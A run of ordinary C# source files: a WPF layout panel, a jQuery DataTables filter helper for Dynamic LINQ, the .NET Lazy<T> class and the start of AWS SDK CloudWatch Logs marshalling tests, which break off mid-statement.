ha = System.Windows.HorizontalAlignment.Stretch; } if (fe.VerticalAlignment == System.Windows.VerticalAlignment.Stretch) { va = System.Windows.VerticalAlignment.Stretch; } } } if (LionZapScroller != null) { if (LionZapScroller.Name != this.Tag as string) l.Warn("Tag mismatch: " + LionZapScroller.Name + " " + this.Tag); var parent = LionZapScroller; { if (parent.HorizontalAlignment == System.Windows.HorizontalAlignment.Stretch) { ha = System.Windows.HorizontalAlignment.Stretch; } if (parent.VerticalAlignment == System.Windows.VerticalAlignment.Stretch) { va = System.Windows.VerticalAlignment.Stretch; } } } //else //{ // l.Warn("No parent LionZapScroller"); //} if (ha == System.Windows.HorizontalAlignment.Stretch && availableSize.Width != double.PositiveInfinity) { max.Width = availableSize.Width; } if (va == System.Windows.VerticalAlignment.Stretch && availableSize.Height != double.PositiveInfinity) { max.Height = availableSize.Height; } Size returnSize; int count = System.Math.Max(this.InternalChildren.Count, 1); //if (double.IsInfinity(availableSize.Width) || double.IsInfinity(availableSize.Height)) { if (Orientation == System.Windows.Controls.Orientation.Horizontal) { returnSize = new Size(max.Width * count, max.Height); } else { returnSize = new Size(max.Width, max.Height * count); } } //else //{ // if (HorizontalAlignment == System.Windows.HorizontalAlignment.Stretch) // { // rwidth = availableSize.Width; // } // else // { // if (Orientation == System.Windows.Controls.Orientation.Horizontal) // { // rwidth = availableSize.Width * this.InternalChildren.Count; // } // else // { // rwidth = availableSize.Width; // } // } // if (VerticalAlignment == System.Windows.VerticalAlignment.Stretch) // { // rheight = availableSize.Height; // } // else // { // if (Orientation == System.Windows.Controls.Orientation.Horizontal) // { // rheight = System.Math.Min(availableSize.Height, max.Height); // } // else // { // rheight = System.Math.Min(availableSize.Height * this.InternalChildren.Count, max.Height); // } // } //} return returnSize; } public LionZapScroller LionZapScroller { get { //if (lionZapScroller == null) //{ // lionZapScroller = BaseWPFHelpers.Helpers.FindElementOfTypeUp(_visualParent, typeof(LionZapScroller)) as LionZapScroller; //} return lionZapScroller; } set { if (lionZapScroller == value) return; if (lionZapScroller != null) l.Warn("Changing LionZapScroller!"); lionZapScroller = value; } } private LionZapScroller lionZapScroller; protected override Size ArrangeOverride(Size finalSize) { if (_visualParent != null && _visualParent.RenderSize.Width != 0 // Jared added ) { _lastVisualParentSize = _visualParent.RenderSize; } else { _lastVisualParentSize = finalSize; } Thickness padding; if (LionZapScroller != null) { padding = LionZapScroller.ContentPadding; } else { padding = new Thickness(0); } Size innerContentSize = new Size( System.Math.Max(0, _lastVisualParentSize.Width - padding.Left - padding.Right), System.Math.Max(0, _lastVisualParentSize.Height - padding.Top - padding.Bottom) ); UIElement child; for (int i = 0; i < this.InternalChildren.Count; i++) { child = this.InternalChildren[i]; Rect arrangeRect; if (Orientation == Orientation.Horizontal) { arrangeRect = new Rect( new Point((_lastVisualParentSize.Width * i) + padding.Left, 0 + padding.Top), innerContentSize); } else { arrangeRect = new Rect( new Point(0 + padding.Left, (_lastVisualParentSize.Height * i) + padding.Top), innerContentSize); } child.Arrange(arrangeRect); } int count = System.Math.Max(1, InternalChildren.Count); if (Orientation == System.Windows.Controls.Orientation.Horizontal) { return new Size(_lastVisualParentSize.Width * count, _lastVisualParentSize.Height); } else { return new Size(_lastVisualParentSize.Width, _lastVisualParentSize.Height * count); } } protected override void OnVisualParentChanged(DependencyObject oldParent) { base.OnVisualParentChanged(oldParent); try { //l.Trace("ZapPanel VisualParent: " + this.VisualParent.GetType().Name + " " + this.VisualParent.ToString() + ((FrameworkElement)VisualParent).Tag ); } catch { } _visualParent = this.VisualParent as FrameworkElement; ZapPanel_LayoutUpdated(this, new EventArgs()); } #region implementation private void ZapPanel_LayoutUpdated(object sender, EventArgs e) { if (_visualParent != null) { if (_visualParent.RenderSize != _lastVisualParentSize) { //InvalidateMeasure(); // Jared added InvalidateArrange(); } } } private Size _lastVisualParentSize; private FrameworkElement _visualParent; #endregion #region Orientation /// <summary> /// Orientation Dependency Property /// </summary> public static readonly DependencyProperty OrientationProperty = DependencyProperty.Register("Orientation", typeof(Orientation), typeof(ZapPanel), new FrameworkPropertyMetadata((Orientation)Orientation.Horizontal, FrameworkPropertyMetadataOptions.AffectsMeasure)); /// <summary> /// Gets or sets the Orientation property. This dependency property /// indicates .... /// </summary> public Orientation Orientation { get { return (Orientation)GetValue(OrientationProperty); } set { SetValue(OrientationProperty, value); } } #endregion } //** class ZapPanel } //#endif
using System; using System.Collections.Generic; using System.ComponentModel; using Mvc.JQuery.Datatables.Reflection; namespace Mvc.JQuery.Datatables { static class TypeFilters { private static readonly Func<string, Type, object> ParseValue = (input, t) => t.IsEnum ? Enum.Parse(t, input) : Convert.ChangeType(input, t); internal static string FilterMethod(string q, List<object> parametersForLinqQuery, Type type) { Func<string, string, string> makeClause = (method, query) => { parametersForLinqQuery.Add(ParseValue(query, type)); var indexOfParameter = parametersForLinqQuery.Count - 1; return string.Format("{0}(@{1})", method, indexOfParameter); }; if (q.StartsWith("^")) { if (q.EndsWith("$")) { parametersForLinqQuery.Add(ParseValue(q.Substring(1, q.Length - 2), type)); var indexOfParameter = parametersForLinqQuery.Count - 1; return string.Format("Equals((object)@{0})", indexOfParameter); } return makeClause("StartsWith", q.Substring(1)); } else { if (q.EndsWith("$")) { return makeClause("EndsWith", q.Substring(0, q.Length - 1)); } return makeClause("Contains", q); } } public static string NumericFilter(string query, string columnname, DataTablesPropertyInfo propertyInfo, List<object> parametersForLinqQuery) { if (query.StartsWith("^")) query = query.TrimStart('^'); if (query.EndsWith("$")) query = query.TrimEnd('$'); if (query == "~") return string.Empty; if (query.Contains("~")) { var parts = query.Split('~'); var clause = null as string; try { parametersForLinqQuery.Add(ChangeType(propertyInfo, parts[0])); clause = string.Format("{0} >= @{1}", columnname, parametersForLinqQuery.Count - 1); } catch (FormatException) { } try { parametersForLinqQuery.Add(ChangeType(propertyInfo, parts[1])); if (clause != null) clause += " and "; clause += string.Format("{0} <= @{1}", columnname, parametersForLinqQuery.Count - 1); } catch (FormatException) { } return clause ?? "true"; } else { try { parametersForLinqQuery.Add(ChangeType(propertyInfo, query)); return string.Format("{0} == @{1}", columnname, parametersForLinqQuery.Count - 1); } catch (FormatException) { } return null; } } private static object ChangeType(DataTablesPropertyInfo propertyInfo, string query) { if (propertyInfo.PropertyInfo.PropertyType.IsGenericType && propertyInfo.Type.GetGenericTypeDefinition() == typeof(Nullable<>)) { Type u = Nullable.GetUnderlyingType(propertyInfo.Type); return Convert.ChangeType(query, u); } else { return Convert.ChangeType(query, propertyInfo.Type); } } public static string DateTimeOffsetFilter(string query, string columnname, DataTablesPropertyInfo propertyInfo, List<object> parametersForLinqQuery) { if (query == "~") return string.Empty; if (query.Contains("~")) { var parts = query.Split('~'); var filterString = null as string; DateTimeOffset start, end; if (DateTimeOffset.TryParse(parts[0] ?? "", out start)) { filterString = columnname + " >= @" + parametersForLinqQuery.Count; parametersForLinqQuery.Add(start); } if (DateTimeOffset.TryParse(parts[1] ?? "", out end)) { filterString = (filterString == null ? null : filterString + " and ") + columnname + " <= @" + parametersForLinqQuery.Count; parametersForLinqQuery.Add(end); } return filterString ?? ""; } else { return string.Format("{1}.ToLocalTime().ToString(\"g\").{0}", FilterMethod(query, parametersForLinqQuery, propertyInfo.Type), columnname); } } public static string DateTimeFilter(string query, string columnname, DataTablesPropertyInfo propertyInfo, List<object> parametersForLinqQuery) { if (query == "~") return string.Empty; if (query.Contains("~")) { var parts = query.Split('~'); var filterString = null as string; DateTime start, end; if (DateTime.TryParse(parts[0] ?? "", out start)) { filterString = columnname + " >= @" + parametersForLinqQuery.Count; parametersForLinqQuery.Add(start); } if (DateTime.TryParse(parts[1] ?? "", out end)) { filterString = (filterString == null ? null : filterString + " and ") + columnname + " <= @" + parametersForLinqQuery.Count; parametersForLinqQuery.Add(end); } return filterString ?? ""; } else { return string.Format("{1}.ToLocalTime().ToString(\"g\").{0}", FilterMethod(query, parametersForLinqQuery, propertyInfo.Type), columnname); } } public static string BoolFilter(string query, string columnname, DataTablesPropertyInfo propertyInfo, List<object> parametersForLinqQuery) { if (query != null) query = query.TrimStart('^').TrimEnd('$'); var lowerCaseQuery = query.ToLowerInvariant(); if (lowerCaseQuery == "false" || lowerCaseQuery == "true") { if (query.ToLower() == "true") return columnname + " == true"; return columnname + " == false"; } if (propertyInfo.Type == typeof(bool?)) { if (lowerCaseQuery == "null") return columnname + " == null"; } return null; } public static string StringFilter(string q, string columnname, DataTablesPropertyInfo columntype, List<object> parametersforlinqquery) { if (q == ".*") return ""; if (q.StartsWith("^")) { if (q.EndsWith("$")) { parametersforlinqquery.Add(q.Substring(1, q.Length - 2)); var parameterArg = "@" + (parametersforlinqquery.Count - 1); return string.Format("{0} == {1}", columnname, parameterArg); } else { parametersforlinqquery.Add(q.Substring(1)); var parameterArg = "@" + (parametersforlinqquery.Count - 1); return string.Format("({0} != null && {0} != \"\" && ({0} == {1} || {0}.StartsWith({1})))", columnname, parameterArg); } } else { parametersforlinqquery.Add(q); var parameterArg = "@" + (parametersforlinqquery.Count - 1); //return string.Format("{0} == {1}", columnname, parameterArg); return string.Format( "({0} != null && {0} != \"\" && ({0} == {1} || {0}.StartsWith({1}) || {0}.Contains({1})))", columnname, parameterArg); } } public static string EnumFilter(string q, string columnname, DataTablesPropertyInfo propertyInfo, List<object> parametersForLinqQuery) { if (q.StartsWith("^")) q = q.Substring(1); if (q.EndsWith("$")) q = q.Substring(0, q.Length - 1); parametersForLinqQuery.Add(ParseValue(q, propertyInfo.Type)); return columnname + " == @" + (parametersForLinqQuery.Count - 1); } } }
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // See the LICENSE file in the project root for more information. // // -------------------------------------------------------------------------------------- // // A class that provides a simple, lightweight implementation of lazy initialization, // obviating the need for a developer to implement a custom, thread-safe lazy initialization // solution. // // =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- #pragma warning disable 0420 using System.Runtime; using System.Runtime.InteropServices; using System.Security; using System.Diagnostics; using System.Threading; using System.Diagnostics.Contracts; using System.Runtime.ExceptionServices; namespace System { /// <summary> /// Provides support for lazy initialization. /// </summary> /// <typeparam name="T">Specifies the type of element being laziliy initialized.</typeparam> /// <remarks> /// <para> /// By default, all public and protected members of <see cref="Lazy{T}"/> are thread-safe and may be used /// concurrently from multiple threads. These thread-safety guarantees may be removed optionally and per instance /// using parameters to the type's constructors. /// </para> /// </remarks> [ComVisible(false)] [DebuggerTypeProxy(typeof(System_LazyDebugView<>))] [DebuggerDisplay("ThreadSafetyMode={Mode}, IsValueCreated={IsValueCreated}, IsValueFaulted={IsValueFaulted}, Value={ValueForDebugDisplay}")] public class Lazy<T> { #region Inner classes /// <summary> /// wrapper class to box the initialized value, this is mainly created to avoid boxing/unboxing the value each time the value is called in case T is /// a value type /// </summary> private class Boxed { internal Boxed(T value) { m_value = value; } internal T m_value; } /// <summary> /// Wrapper class to wrap the excpetion thrown by the value factory /// </summary> private class LazyInternalExceptionHolder { internal ExceptionDispatchInfo m_edi; internal LazyInternalExceptionHolder(Exception ex) { m_edi = ExceptionDispatchInfo.Capture(ex); } } #endregion // A dummy delegate used as a : // 1- Flag to avoid recursive call to Value in None and ExecutionAndPublication modes in m_valueFactory // 2- Flag to m_threadSafeObj if ExecutionAndPublication mode and the value is known to be initialized private static Func<T> s_ALREADY_INVOKED_SENTINEL = delegate { Contract.Assert(false, "ALREADY_INVOKED_SENTINEL should never be invoked."); return default(T); }; // Dummy object used as the value of m_threadSafeObj if in PublicationOnly mode. private static object s_PUBLICATION_ONLY_SENTINEL = new object(); //null --> value is not created //m_value is Boxed --> the value is created, and m_value holds the value //m_value is LazyExceptionHolder --> it holds an exception private object _boxed; // The factory delegate that returns the value. // In None and ExecutionAndPublication modes, this will be set to ALREADY_INVOKED_SENTINEL as a flag to avoid recursive calls private Func<T> _valueFactory; // null if it is not thread safe mode // PUBLICATION_ONLY_SENTINEL if PublicationOnly mode // object if ExecutionAndPublication mode (may be ALREADY_INVOKED_SENTINEL if the value is already initialized) private object _threadSafeObj; /// <summary> /// Initializes a new instance of the <see cref="T:System.Threading.Lazy{T}"/> class that /// uses <typeparamref name="T"/>'s default constructor for lazy initialization. /// </summary> /// <remarks> /// An instance created with this constructor may be used concurrently from multiple threads. /// </remarks> public Lazy() : this(LazyThreadSafetyMode.ExecutionAndPublication) { } /// <summary> /// Initializes a new instance of the <see cref="T:System.Threading.Lazy{T}"/> class that uses a /// specified initialization function. /// </summary> /// <param name="valueFactory"> /// The <see cref="T:System.Func{T}"/> invoked to produce the lazily-initialized value when it is /// needed. /// </param> /// <exception cref="System.ArgumentNullException"><paramref name="valueFactory"/> is a null /// reference (Nothing in Visual Basic).</exception> /// <remarks> /// An instance created with this constructor may be used concurrently from multiple threads. /// </remarks> public Lazy(Func<T> valueFactory) : this(valueFactory, LazyThreadSafetyMode.ExecutionAndPublication) { } /// <summary> /// Initializes a new instance of the <see cref="T:System.Threading.Lazy{T}"/> /// class that uses <typeparamref name="T"/>'s default constructor and a specified thread-safety mode. /// </summary> /// <param name="isThreadSafe">true if this instance should be usable by multiple threads concurrently; false if the instance will only be used by one thread at a time. /// </param> public Lazy(bool isThreadSafe) : this(isThreadSafe ? LazyThreadSafetyMode.ExecutionAndPublication : LazyThreadSafetyMode.None) { } /// <summary> /// Initializes a new instance of the <see cref="T:System.Threading.Lazy{T}"/> /// class that uses <typeparamref name="T"/>'s default constructor and a specified thread-safety mode. /// </summary> /// <param name="mode">The lazy thread-safety mode mode</param> /// <exception cref="System.ArgumentOutOfRangeException"><paramref name="mode"/> mode contains an invalid valuee</exception> public Lazy(LazyThreadSafetyMode mode) { _threadSafeObj = GetObjectFromMode(mode); } /// <summary> /// Initializes a new instance of the <see cref="T:System.Threading.Lazy{T}"/> class /// that uses a specified initialization function and a specified thread-safety mode. /// </summary> /// <param name="valueFactory"> /// The <see cref="T:System.Func{T}"/> invoked to produce the lazily-initialized value when it is needed. /// </param> /// <param name="isThreadSafe">true if this instance should be usable by multiple threads concurrently; false if the instance will only be used by one thread at a time. /// </param> /// <exception cref="System.ArgumentNullException"><paramref name="valueFactory"/> is /// a null reference (Nothing in Visual Basic).</exception> public Lazy(Func<T> valueFactory, bool isThreadSafe) : this(valueFactory, isThreadSafe ? LazyThreadSafetyMode.ExecutionAndPublication : LazyThreadSafetyMode.None) { } /// <summary> /// Initializes a new instance of the <see cref="T:System.Threading.Lazy{T}"/> class /// that uses a specified initialization function and a specified thread-safety mode. /// </summary> /// <param name="valueFactory"> /// The <see cref="T:System.Func{T}"/> invoked to produce the lazily-initialized value when it is needed. /// </param> /// <param name="mode">The lazy thread-safety mode.</param> /// <exception cref="System.ArgumentNullException"><paramref name="valueFactory"/> is /// a null reference (Nothing in Visual Basic).</exception> /// <exception cref="System.ArgumentOutOfRangeException"><paramref name="mode"/> mode contains an invalid value.</exception> public Lazy(Func<T> valueFactory, LazyThreadSafetyMode mode) { if (valueFactory == null) throw new ArgumentNullException("valueFactory"); _threadSafeObj = GetObjectFromMode(mode); _valueFactory = valueFactory; } /// <summary> /// Static helper function that returns an object based on the given mode. it also throws an exception if the mode is invalid /// </summary> private static object GetObjectFromMode(LazyThreadSafetyMode mode) { if (mode == LazyThreadSafetyMode.ExecutionAndPublication) return new object(); else if (mode == LazyThreadSafetyMode.PublicationOnly) return s_PUBLICATION_ONLY_SENTINEL; else if (mode != LazyThreadSafetyMode.None) throw new ArgumentOutOfRangeException("mode", SR.Lazy_ctor_ModeInvalid); return null; // None mode } /// <summary>Creates and returns a string representation of this instance.</summary> /// <returns>The result of calling <see cref="System.Object.ToString"/> on the <see /// cref="Value"/>.</returns> /// <exception cref="T:System.NullReferenceException"> /// The <see cref="Value"/> is null. /// </exception> public override string ToString() { return IsValueCreated ? Value.ToString() : SR.Lazy_ToString_ValueNotCreated; } /// <summary>Gets the value of the Lazy&lt;T&gt; for debugging display purposes.</summary> internal T ValueForDebugDisplay { get { if (!IsValueCreated) { return default(T); } return ((Boxed)_boxed).m_value; } } /// <summary> /// Gets a value indicating whether this instance may be used concurrently from multiple threads. /// </summary> internal LazyThreadSafetyMode Mode { get { if (_threadSafeObj == null) return LazyThreadSafetyMode.None; if (_threadSafeObj == (object)s_PUBLICATION_ONLY_SENTINEL) return LazyThreadSafetyMode.PublicationOnly; return LazyThreadSafetyMode.ExecutionAndPublication; } } /// <summary> /// Gets whether the value creation is faulted or not /// </summary> internal bool IsValueFaulted { get { return _boxed is LazyInternalExceptionHolder; } } /// <summary>Gets a value indicating whether the <see cref="T:System.Lazy{T}"/> has been initialized. /// </summary> /// <value>true if the <see cref="T:System.Lazy{T}"/> instance has been initialized; /// otherwise, false.</value> /// <remarks> /// The initialization of a <see cref="T:System.Lazy{T}"/> instance may result in either /// a value being produced or an exception being thrown. If an exception goes unhandled during initialization, /// <see cref="IsValueCreated"/> will return false. /// </remarks> public bool IsValueCreated { get { return _boxed != null && _boxed is Boxed; } } /// <summary>Gets the lazily initialized value of the current <see /// cref="T:System.Threading.Lazy{T}"/>.</summary> /// <value>The lazily initialized value of the current <see /// cref="T:System.Threading.Lazy{T}"/>.</value> /// <exception cref="T:System.MissingMemberException"> /// The <see cref="T:System.Threading.Lazy{T}"/> was initialized to use the default constructor /// of the type being lazily initialized, and that type does not have a public, parameterless constructor. /// </exception> /// <exception cref="T:System.MemberAccessException"> /// The <see cref="T:System.Threading.Lazy{T}"/> was initialized to use the default constructor /// of the type being lazily initialized, and permissions to access the constructor were missing. /// </exception> /// <exception cref="T:System.InvalidOperationException"> /// The <see cref="T:System.Threading.Lazy{T}"/> was constructed with the <see cref="T:System.Threading.LazyThreadSafetyMode.ExecutionAndPublication"/> or /// <see cref="T:System.Threading.LazyThreadSafetyMode.None"/> and the initialization function attempted to access <see cref="Value"/> on this instance. /// </exception> /// <remarks> /// If <see cref="IsValueCreated"/> is false, accessing <see cref="Value"/> will force initialization. /// Please <see cref="System.Threading.LazyThreadSafetyMode"> for more information on how <see cref="T:System.Threading.Lazy{T}"/> will behave if an exception is thrown /// from initialization delegate. /// </remarks> [DebuggerBrowsable(DebuggerBrowsableState.Never)] public T Value { get { Boxed boxed = null; if (_boxed != null) { // Do a quick check up front for the fast path. boxed = _boxed as Boxed; if (boxed != null) { return boxed.m_value; } LazyInternalExceptionHolder exc = _boxed as LazyInternalExceptionHolder; Contract.Assert(_boxed != null); exc.m_edi.Throw(); } // Fall through to the slow path. #if !FEATURE_CORECLR // We call NOCTD to abort attempts by the debugger to funceval this property (e.g. on mouseover) // (the debugger proxy is the correct way to look at state/value of this object) Debugger.NotifyOfCrossThreadDependency(); #endif return LazyInitValue(); } } /// <summary> /// local helper method to initialize the value /// </summary> /// <returns>The inititialized T value</returns> private T LazyInitValue() { Boxed boxed = null; LazyThreadSafetyMode mode = Mode; if (mode == LazyThreadSafetyMode.None) { boxed = CreateValue(); _boxed = boxed; } else if (mode == LazyThreadSafetyMode.PublicationOnly) { boxed = CreateValue(); if (boxed == null || Interlocked.CompareExchange(ref _boxed, boxed, null) != null) { // If CreateValue returns null, it means another thread successfully invoked the value factory // and stored the result, so we should just take what was stored. If CreateValue returns non-null // but we lose the race to store the single value, again we should just take what was stored. boxed = (Boxed)_boxed; } else { // We successfully created and stored the value. At this point, the value factory delegate is // no longer needed, and we don't want to hold onto its resources. _valueFactory = s_ALREADY_INVOKED_SENTINEL; } } else { object threadSafeObj = Volatile.Read(ref _threadSafeObj); bool lockTaken = false; try { if (threadSafeObj != (object)s_ALREADY_INVOKED_SENTINEL) Monitor.Enter(threadSafeObj, ref lockTaken); else Contract.Assert(_boxed != null); if (_boxed == null) { boxed = CreateValue(); _boxed = boxed; Volatile.Write(ref _threadSafeObj, s_ALREADY_INVOKED_SENTINEL); } else // got the lock but the value is not null anymore, check if it is created by another thread or faulted and throw if so { boxed = _boxed as Boxed; if (boxed == null) // it is not Boxed, so it is a LazyInternalExceptionHolder { LazyInternalExceptionHolder exHolder = _boxed as LazyInternalExceptionHolder; Contract.Assert(exHolder != null); exHolder.m_edi.Throw(); } } } finally { if (lockTaken) Monitor.Exit(threadSafeObj); } } Contract.Assert(boxed != null); return boxed.m_value; } /// <summary>Creates an instance of T using m_valueFactory in case its not null or use reflection to create a new T()</summary> /// <returns>An instance of Boxed.</returns> private Boxed CreateValue() { Boxed boxed = null; LazyThreadSafetyMode mode = Mode; if (_valueFactory != null) { try { // check for recursion if (mode != LazyThreadSafetyMode.PublicationOnly && _valueFactory == s_ALREADY_INVOKED_SENTINEL) throw new InvalidOperationException(SR.Lazy_Value_RecursiveCallsToValue); Func<T> factory = _valueFactory; if (mode != LazyThreadSafetyMode.PublicationOnly) // only detect recursion on None and ExecutionAndPublication modes { _valueFactory = s_ALREADY_INVOKED_SENTINEL; } else if (factory == s_ALREADY_INVOKED_SENTINEL) { // Another thread raced with us and beat us to successfully invoke the factory. return null; } boxed = new Boxed(factory()); } catch (Exception ex) { if (mode != LazyThreadSafetyMode.PublicationOnly) // don't cache the exception for PublicationOnly mode _boxed = new LazyInternalExceptionHolder(ex); throw; } } else { try { boxed = new Boxed(Activator.CreateInstance<T>()); } catch (MissingMethodException) { Exception ex = new MissingMethodException(SR.Lazy_CreateValue_NoParameterlessCtorForT); if (mode != LazyThreadSafetyMode.PublicationOnly) // don't cache the exception for PublicationOnly mode _boxed = new LazyInternalExceptionHolder(ex); throw ex; } } return boxed; } } /// <summary>A debugger view of the Lazy&lt;T&gt; to surface additional debugging properties and /// to ensure that the Lazy&lt;T&gt; does not become initialized if it was not already.</summary> internal sealed class System_LazyDebugView<T> { //The Lazy object being viewed. private readonly Lazy<T> _lazy; /// <summary>Constructs a new debugger view object for the provided Lazy object.</summary> /// <param name="lazy">A Lazy object to browse in the debugger.</param> public System_LazyDebugView(Lazy<T> lazy) { _lazy = lazy; } /// <summary>Returns whether the Lazy object is initialized or not.</summary> public bool IsValueCreated { get { return _lazy.IsValueCreated; } } /// <summary>Returns the value of the Lazy object.</summary> public T Value { get { return _lazy.ValueForDebugDisplay; } } /// <summary>Returns the execution mode of the Lazy object</summary> public LazyThreadSafetyMode Mode { get { return _lazy.Mode; } } /// <summary>Returns the execution mode of the Lazy object</summary> public bool IsValueFaulted { get { return _lazy.IsValueFaulted; } } } }
/* * Copyright 2010-2014 Amazon.com, Inc. or its affiliates. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"). * You may not use this file except in compliance with the License. * A copy of the License is located at * * http://aws.amazon.com/apache2.0 * * or in the "license" file accompanying this file. This file is distributed * on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either * express or implied. See the License for the specific language governing * permissions and limitations under the License. */ /* * Do not modify this file. This file is generated from the logs-2014-03-28.normal.json service model. */ using System; using System.IO; using System.Text; using Microsoft.VisualStudio.TestTools.UnitTesting; using Amazon.CloudWatchLogs; using Amazon.CloudWatchLogs.Model; using Amazon.CloudWatchLogs.Model.Internal.MarshallTransformations; using Amazon.Runtime.Internal.Transform; using ServiceClientGenerator; using AWSSDK_DotNet35.UnitTests.TestTools; namespace AWSSDK_DotNet35.UnitTests.Marshalling { [TestClass] public class CloudWatchLogsMarshallingTests { static readonly ServiceModel service_model = Utils.LoadServiceModel("logs-2014-03-28.normal.json", "logs.customizations.json"); [TestMethod] [TestCategory("UnitTest")] [TestCategory("Json")] [TestCategory("CloudWatchLogs")] public void CancelExportTaskMarshallTest() { var request = InstantiateClassGenerator.Execute<CancelExportTaskRequest>(); var marshaller = new CancelExportTaskRequestMarshaller(); var internalRequest = marshaller.Marshall(request); var jsonRequest = UTF8Encoding.UTF8.GetString(internalRequest.Content); Comparer.CompareObjectToJson<CancelExportTaskRequest>(request,jsonRequest); } [TestMethod] [TestCategory("UnitTest")] [TestCategory("Json")] [TestCategory("CloudWatchLogs")] public void CreateExportTaskMarshallTest() { var request = InstantiateClassGenerator.Execute<CreateExportTaskRequest>(); var marshaller = new CreateExportTaskRequestMarshaller(); var internalRequest = marshaller.Marshall(request); var jsonRequest = UTF8Encoding.UTF8.GetString(internalRequest.Content); Comparer.CompareObjectToJson<CreateExportTaskRequest>(request,jsonRequest); var webResponse = new WebResponseData { Headers = { {"x-amzn-RequestId", Guid.NewGuid().ToString()}, {"x-amz-crc32","0"} } }; var jsonResponse = new JsonSampleGenerator(service_model, service_model.FindOperation("CreateExportTask").ResponseStructure).Execute(); webResponse.Headers.Add("Content-Length", UTF8Encoding.UTF8.GetBytes(jsonResponse).Length.ToString()); UnmarshallerContext context = new JsonUnmarshallerContext(Utils.CreateStreamFromString(jsonResponse), false, webResponse); var response = CreateExportTaskResponseUnmarshaller.Instance.Unmarshall(context) as CreateExportTaskResponse; InstantiateClassGenerator.ValidateObjectFullyInstantiated(response); } [TestMethod] [TestCategory("UnitTest")] [TestCategory("Json")] [TestCategory("CloudWatchLogs")] public void CreateLogGroupMarshallTest() { var request = InstantiateClassGenerator.Execute<CreateLogGroupRequest>(); var marshaller = new CreateLogGroupRequestMarshaller(); var internalRequest = marshaller.Marshall(request); var jsonRequest = UTF8Encoding.UTF8.GetString(internalRequest.Content); Comparer.CompareObjectToJson<CreateLogGroupRequest>(request,jsonRequest); } [TestMethod] [TestCategory("UnitTest")] [TestCategory("Json")] [TestCategory("CloudWatchLogs")] public void CreateLogStreamMarshallTest() { var request = InstantiateClassGenerator.Execute<CreateLogStreamRequest>(); var marshaller = new CreateLogStreamRequestMarshaller(); var internalRequest = marshaller.Marshall(request); var jsonRequest = UTF8Encoding.UTF8.GetString(internalRequest.Content); Comparer.CompareObjectToJson<CreateLogStreamRequest>(request,jsonRequest); } [TestMethod] [TestCategory("UnitTest")] [TestCategory("Json")] [TestCategory("CloudWatchLogs")] public void DeleteDestinationMarshallTest() { var request = InstantiateClassGenerator.Execute<DeleteDestinationRequest>(); var marshaller = new DeleteDestinationRequestMarshaller(); var internalRequest = marshaller.Marshall(request); var jsonRequest = UTF8Encoding.UTF8.GetString(internalRequest.Content); Comparer.CompareObjectToJson<DeleteDestinationRequest>(request,jsonRequest); } [TestMethod] [TestCategory("UnitTest")] [TestCategory("Json")] [TestCategory("CloudWatchLogs")] public void DeleteLogGroupMarshallTest() { var request = InstantiateClassGenerator.Execute<DeleteLogGroupRequest>(); var marshaller = new DeleteLogGroupRequestMarshaller(); var internalRequest = marshaller.Marshall(request); var jsonRequest = UTF8Encoding.UTF8.GetString(internalRequest.Content); Comparer.CompareObjectToJson<DeleteLogGroupRequest>(request,jsonRequest); } [TestMethod] [TestCategory("UnitTest")] [TestCategory("Json")] [TestCategory("CloudWatchLogs")] public void DeleteLogStreamMarshallTest() { var request = InstantiateClassGenerator.Execute<DeleteLogStreamRequest>(); var marshaller = new DeleteLogStreamRequestMarshaller(); var internalRequest = marshaller.Marshall(request); var jsonRequest = UTF8Encoding.UTF8.GetString(internalRequest.Content); Comparer.CompareObjectToJson<DeleteLogStreamRequest>(request,jsonRequest); } [TestMethod] [TestCategory("UnitTest")] [TestCategory("Json")] [TestCategory("CloudWatchLogs")] public void DeleteMetricFilterMarshallTest() { var request = InstantiateClassGenerator.Execute<DeleteMetricFilterRequest>(); var marshaller = new DeleteMetricFilterRequestMarshaller(); var internalRequest = marshaller.Marshall(request); var jsonRequest = UTF8Encoding.UTF8.GetString(internalRequest.Content); Comparer.CompareObjectToJson<DeleteMetricFilterRequest>(request,jsonRequest); } [TestMethod] [TestCategory("UnitTest")] [TestCategory("Json")] [TestCategory("CloudWatchLogs")] public void DeleteRetentionPolicyMarshallTest() { var request = InstantiateClassGenerator.Execute<DeleteRetentionPolicyRequest>(); var marshaller = new DeleteRetentionPolicyRequestMarshaller(); var internalRequest = marshaller.Marshall(request); var jsonRequest = UTF8Encoding.UTF8.GetString(internalRequest.Content); Comparer.CompareObjectToJson<DeleteRetentionPolicyRequest>(request,jsonRequest); } [TestMethod] [TestCategory("UnitTest")] [TestCategory("Json")] [TestCategory("CloudWatchLogs")] public void DeleteSubscriptionFilterMarshallTest() { var request = InstantiateClassGenerator.Execute<DeleteSubscriptionFilterRequest>(); var marshaller = new DeleteSubscriptionFilterRequestMarshaller(); var internalRequest = marshaller.Marshall(request); var jsonRequest = UTF8Encoding.UTF8.GetString(internalRequest.Content); Comparer.CompareObjectToJson<DeleteSubscriptionFilterRequest>(request,jsonRequest); } [TestMethod] [TestCategory("UnitTest")] [TestCategory("Json")] [TestCategory("CloudWatchLogs")] public void DescribeDestinationsMarshallTest() { var request = InstantiateClassGenerator.Execute<DescribeDestinationsRequest>(); var marshaller = new DescribeDestinationsRequestMarshaller(); var internalRequest = marshaller.Marshall(request); var jsonRequest = UTF8Encoding.UTF8.GetString(internalRequest.Content); Comparer.CompareObjectToJson<DescribeDestinationsRequest>(request,jsonRequest); var webResponse = new WebResponseData { Headers = { {"x-amzn-RequestId", Guid.NewGuid().ToString()}, {"x-amz-crc32","0"} } }; var jsonResponse = new JsonSampleGenerator(service_model, service_model.FindOperation("DescribeDestinations").ResponseStructure).Execute(); webResponse.Headers.Add("Content-Length", UTF8Encoding.UTF8.GetBytes(jsonResponse).Length.ToString()); UnmarshallerContext context = new JsonUnmarshallerContext(Utils.CreateStreamFromString(jsonResponse), false, webResponse); var response = DescribeDestinationsResponseUnmarshaller.Instance.Unmarshall(context) as DescribeDestinationsResponse; InstantiateClassGenerator.ValidateObjectFullyInstantiated(response); } [TestMethod] [TestCategory("UnitTest")] [TestCategory("Json")] [TestCategory("CloudWatchLogs")] public void DescribeExportTasksMarshallTest() { var request = InstantiateClassGenerator.Execute<DescribeExportTasksRequest>(); var marshaller = new 